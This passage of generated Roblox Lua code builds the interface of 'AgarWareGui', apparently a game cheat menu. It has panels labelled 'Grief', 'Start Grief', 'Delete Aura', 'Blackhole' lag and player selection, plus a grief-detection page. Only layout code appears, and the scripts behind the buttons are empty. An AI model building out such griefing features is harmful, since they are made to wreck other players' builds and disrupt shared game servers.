[[OrbitBlackholeTickBox]]; G2L["1cb"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow G2L["1cc"] = Instance.new("Frame", G2L["1a7"]); G2L["1cc"]["BorderSizePixel"] = 0; G2L["1cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1cc"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1cc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1cc"]["Name"] = [[BlackholeLabelRow]]; G2L["1cc"]["LayoutOrder"] = 10; G2L["1cc"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow.BlackholeLabelText G2L["1cd"] = Instance.new("TextLabel", G2L["1cc"]); G2L["1cd"]["BorderSizePixel"] = 0; G2L["1cd"]["TextSize"] = 14; G2L["1cd"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1cd"]["BackgroundTransparency"] = 1; G2L["1cd"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1cd"]["Text"] = [[Blackhole:]]; G2L["1cd"]["Name"] = [[BlackholeLabelText]]; G2L["1cd"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup G2L["1ce"] = Instance.new("Frame", G2L["186"]); G2L["1ce"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["1ce"]["BorderMode"] = Enum.BorderMode.Middle; G2L["1ce"]["Size"] = UDim2.new(0, 170, 0, 123); G2L["1ce"]["Position"] = UDim2.new(0, 0, 1.05278, 0); G2L["1ce"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1ce"]["Name"] = [[GriefGroup]]; G2L["1ce"]["LayoutOrder"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript G2L["1cf"] = Instance.new("LocalScript", G2L["1ce"]); G2L["1cf"]["Name"] = [[GriefScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.UIListLayout G2L["1d0"] = Instance.new("UIListLayout", G2L["1ce"]); G2L["1d0"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAccentColor G2L["1d1"] = Instance.new("Frame", G2L["1ce"]); G2L["1d1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["1d1"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["1d1"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["1d1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["1d1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["1d1"]["Name"] = [[GriefAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle G2L["1d2"] = Instance.new("TextLabel", G2L["1ce"]); G2L["1d2"]["TextWrapped"] = true; G2L["1d2"]["BorderSizePixel"] = 0; G2L["1d2"]["TextSize"] = 14; G2L["1d2"]["TextScaled"] = true; G2L["1d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d2"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["1d2"]["BackgroundTransparency"] = 0.95; G2L["1d2"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["1d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d2"]["Text"] = [[Grief]]; G2L["1d2"]["LayoutOrder"] = 1; G2L["1d2"]["Name"] = [[GriefTitle]]; G2L["1d2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle.GriefMinimize G2L["1d3"] = Instance.new("TextButton", G2L["1d2"]); G2L["1d3"]["BorderSizePixel"] = 0; G2L["1d3"]["TextSize"] = 14; G2L["1d3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d3"]["BackgroundTransparency"] = 1; G2L["1d3"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["1d3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d3"]["Text"] = [[-]]; G2L["1d3"]["Name"] = [[GriefMinimize]]; G2L["1d3"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow G2L["1d4"] = Instance.new("Frame", G2L["1ce"]); G2L["1d4"]["BorderSizePixel"] = 0; G2L["1d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d4"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1d4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d4"]["Name"] = [[SelectDRow]]; G2L["1d4"]["LayoutOrder"] = 3; G2L["1d4"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript G2L["1d5"] = Instance.new("LocalScript", G2L["1d4"]); G2L["1d5"]["Name"] = [[SelectDScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDDropdown G2L["1d6"] = Instance.new("TextButton", G2L["1d4"]); G2L["1d6"]["TextSize"] = 14; G2L["1d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d6"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d6"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1d6"]["Text"] = [[]]; G2L["1d6"]["Name"] = [[SelectDDropdown]]; G2L["1d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow G2L["1d7"] = Instance.new("Frame", G2L["1ce"]); G2L["1d7"]["BorderSizePixel"] = 0; G2L["1d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d7"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1d7"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d7"]["Name"] = [[GPLabelRow]]; G2L["1d7"]["LayoutOrder"] = 2; G2L["1d7"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow.GPLabelText G2L["1d8"] = Instance.new("TextLabel", G2L["1d7"]); G2L["1d8"]["BorderSizePixel"] = 0; G2L["1d8"]["TextSize"] = 14; G2L["1d8"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d8"]["BackgroundTransparency"] = 1; G2L["1d8"]["Size"] = UDim2.new(0, 114, 0, 20); G2L["1d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d8"]["Text"] = [[Select Players:]]; G2L["1d8"]["Name"] = [[GPLabelText]]; G2L["1d8"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow G2L["1d9"] = Instance.new("Frame", G2L["1ce"]); G2L["1d9"]["BorderSizePixel"] = 0; G2L["1d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d9"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d9"]["Name"] = [[HLBlockRow]]; G2L["1d9"]["LayoutOrder"] = 4; G2L["1d9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript G2L["1da"] = Instance.new("LocalScript", G2L["1d9"]); G2L["1da"]["Name"] = [[HLBlockScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockTickBox G2L["1db"] = Instance.new("TextButton", G2L["1d9"]); G2L["1db"]["TextSize"] = 14; G2L["1db"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1db"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1db"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1db"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1db"]["Text"] = [[]]; G2L["1db"]["Name"] = [[HLBlockTickBox]]; G2L["1db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockText G2L["1dc"] = Instance.new("TextLabel", G2L["1d9"]); G2L["1dc"]["BorderSizePixel"] = 0; G2L["1dc"]["TextSize"] = 14; G2L["1dc"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1dc"]["BackgroundTransparency"] = 1; G2L["1dc"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1dc"]["Text"] = [[Highlight Blocks]]; G2L["1dc"]["Name"] = [[HLBlockText]]; G2L["1dc"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow G2L["1dd"] = Instance.new("Frame", G2L["1ce"]); G2L["1dd"]["BorderSizePixel"] = 0; G2L["1dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1dd"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1dd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1dd"]["Name"] = [[ToggleGriefRow]]; G2L["1dd"]["LayoutOrder"] = 6; G2L["1dd"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript G2L["1de"] = Instance.new("LocalScript", G2L["1dd"]); G2L["1de"]["Name"] = [[ToggleGriefScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefButton G2L["1df"] = Instance.new("TextButton", G2L["1dd"]); G2L["1df"]["TextSize"] = 14; G2L["1df"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1df"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1df"]["Text"] = [[Start Grief]]; G2L["1df"]["Name"] = [[ToggleGriefButton]]; G2L["1df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow G2L["1e0"] = Instance.new("Frame", G2L["1ce"]); G2L["1e0"]["BorderSizePixel"] = 0; G2L["1e0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e0"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1e0"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1e0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e0"]["Name"] = [[GriefAllRow]]; G2L["1e0"]["LayoutOrder"] = 6; G2L["1e0"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript G2L["1e1"] = Instance.new("LocalScript", G2L["1e0"]); G2L["1e1"]["Name"] = [[GriefAllScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllButton G2L["1e2"] = Instance.new("TextButton", G2L["1e0"]); G2L["1e2"]["TextSize"] = 14; G2L["1e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1e2"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1e2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1e2"]["Text"] = [[Delete Aura]]; G2L["1e2"]["Name"] = [[GriefAllButton]]; G2L["1e2"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage G2L["1e3"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["1e3"]["Visible"] = false; G2L["1e3"]["Active"] = true; G2L["1e3"]["BorderSizePixel"] = 0; G2L["1e3"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["1e3"]["Name"] = [[TCODetectionPage]]; G2L["1e3"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["1e3"]["Size"] = UDim2.new(0, 349, 0, 233); G2L["1e3"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e3"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0); G2L["1e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e3"]["ScrollBarThickness"] = 0; G2L["1e3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide G2L["1e4"] = Instance.new("Frame", G2L["1e3"]); G2L["1e4"]["BorderSizePixel"] = 0; G2L["1e4"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["1e4"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["1e4"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["1e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e4"]["Name"] = [[TCODetectionLeftSide]]; G2L["1e4"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.UIListLayout G2L["1e5"] = Instance.new("UIListLayout", G2L["1e4"]); G2L["1e5"]["Padding"] = UDim.new(0, 7); G2L["1e5"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup G2L["1e6"] = Instance.new("Frame", G2L["1e4"]); G2L["1e6"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["1e6"]["BorderMode"] = Enum.BorderMode.Middle; G2L["1e6"]["Size"] = UDim2.new(0, 170, 0, 100); G2L["1e6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1e6"]["Name"] = [[EnableGroup]]; G2L["1e6"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript G2L["1e7"] = Instance.new("LocalScript", G2L["1e6"]); G2L["1e7"]["Name"] = [[EnableScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip G2L["1e8"] = Instance.new("LocalScript", G2L["1e6"]); G2L["1e8"]["Name"] = [[EnableToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.UIListLayout G2L["1e9"] = Instance.new("UIListLayout", G2L["1e6"]); G2L["1e9"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableAccentColor G2L["1ea"] = Instance.new("Frame", G2L["1e6"]); G2L["1ea"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["1ea"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["1ea"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["1ea"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["1ea"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["1ea"]["Name"] = [[EnableAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle G2L["1eb"] = Instance.new("TextLabel", G2L["1e6"]); G2L["1eb"]["TextWrapped"] = true; G2L["1eb"]["BorderSizePixel"] = 0; G2L["1eb"]["TextSize"] = 14; G2L["1eb"]["TextScaled"] = true; G2L["1eb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1eb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1eb"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["1eb"]["BackgroundTransparency"] = 0.95; G2L["1eb"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["1eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1eb"]["Text"] = [[Grief Monitor]]; G2L["1eb"]["LayoutOrder"] = 1; G2L["1eb"]["Name"] = [[EnableTitle]]; G2L["1eb"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableMinimize G2L["1ec"] = Instance.new("TextButton", G2L["1eb"]); G2L["1ec"]["BorderSizePixel"] = 0; G2L["1ec"]["TextSize"] = 14; G2L["1ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ec"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1ec"]["BackgroundTransparency"] = 1; G2L["1ec"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["1ec"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1ec"]["Text"] = [[-]]; G2L["1ec"]["Name"] = [[EnableMinimize]]; G2L["1ec"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableHelp G2L["1ed"] = Instance.new("TextButton", G2L["1eb"]); G2L["1ed"]["TextSize"] = 14; G2L["1ed"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["1ed"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1ed"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1ed"]["Size"] = UDim2.new(0, 12, 0, 12); G2L["1ed"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["1ed"]["Text"] = [[?]]; G2L["1ed"]["Name"] = [[EnableHelp]]; G2L["1ed"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow G2L["1ee"] = Instance.new("Frame", G2L["1e6"]); G2L["1ee"]["BorderSizePixel"] = 0; G2L["1ee"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ee"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1ee"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1ee"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1ee"]["Name"] = [[EnableDeleteRow]]; G2L["1ee"]["LayoutOrder"] = 2; G2L["1ee"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript G2L["1ef"] = Instance.new("LocalScript", G2L["1ee"]); G2L["1ef"]["Name"] = [[EnableDeleteScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteTickBox G2L["1f0"] = Instance.new("TextButton", G2L["1ee"]); G2L["1f0"]["TextSize"] = 14; G2L["1f0"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f0"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1f0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1f0"]["Text"] = [[]]; G2L["1f0"]["Name"] = [[EnableDeleteTickBox]]; G2L["1f0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteText G2L["1f1"] = Instance.new("TextLabel", G2L["1ee"]); G2L["1f1"]["BorderSizePixel"] = 0; G2L["1f1"]["TextSize"] = 14; G2L["1f1"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f1"]["BackgroundTransparency"] = 1; G2L["1f1"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f1"]["Text"] = [[Delete Detection]]; G2L["1f1"]["Name"] = [[EnableDeleteText]]; G2L["1f1"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow G2L["1f2"] = Instance.new("Frame", G2L["1e6"]); G2L["1f2"]["BorderSizePixel"] = 0; G2L["1f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f2"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f2"]["Name"] = [[EnablePaintRow]]; G2L["1f2"]["LayoutOrder"] = 2; G2L["1f2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript G2L["1f3"] = Instance.new("LocalScript", G2L["1f2"]); G2L["1f3"]["Name"] = [[EnablePaintScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintTickBox G2L["1f4"] = Instance.new("TextButton", G2L["1f2"]); G2L["1f4"]["TextSize"] = 14; G2L["1f4"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f4"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1f4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1f4"]["Text"] = [[]]; G2L["1f4"]["Name"] = [[EnablePaintTickBox]]; G2L["1f4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintText G2L["1f5"] = Instance.new("TextLabel", G2L["1f2"]); G2L["1f5"]["BorderSizePixel"] = 0; G2L["1f5"]["TextSize"] = 14; G2L["1f5"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1f5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f5"]["BackgroundTransparency"] = 1; G2L["1f5"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1f5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f5"]["Text"] = [[Paint Detection]]; G2L["1f5"]["Name"] = [[EnablePaintText]]; G2L["1f5"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow G2L["1f6"] = Instance.new("Frame", G2L["1e6"]); G2L["1f6"]["BorderSizePixel"] = 0; G2L["1f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f6"]["Name"] = [[EnableSpamRow]]; G2L["1f6"]["LayoutOrder"] = 2; G2L["1f6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript G2L["1f7"] = Instance.new("LocalScript", G2L["1f6"]); G2L["1f7"]["Name"] = [[EnableSpamScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamTickBox G2L["1f8"] = Instance.new("TextButton", G2L["1f6"]); G2L["1f8"]["TextSize"] = 14; G2L["1f8"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f8"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1f8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1f8"]["Text"] = [[]]; G2L["1f8"]["Name"] = [[EnableSpamTickBox]]; G2L["1f8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamText G2L["1f9"] = Instance.new("TextLabel", G2L["1f6"]); G2L["1f9"]["BorderSizePixel"] = 0; G2L["1f9"]["TextSize"] = 14; G2L["1f9"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); 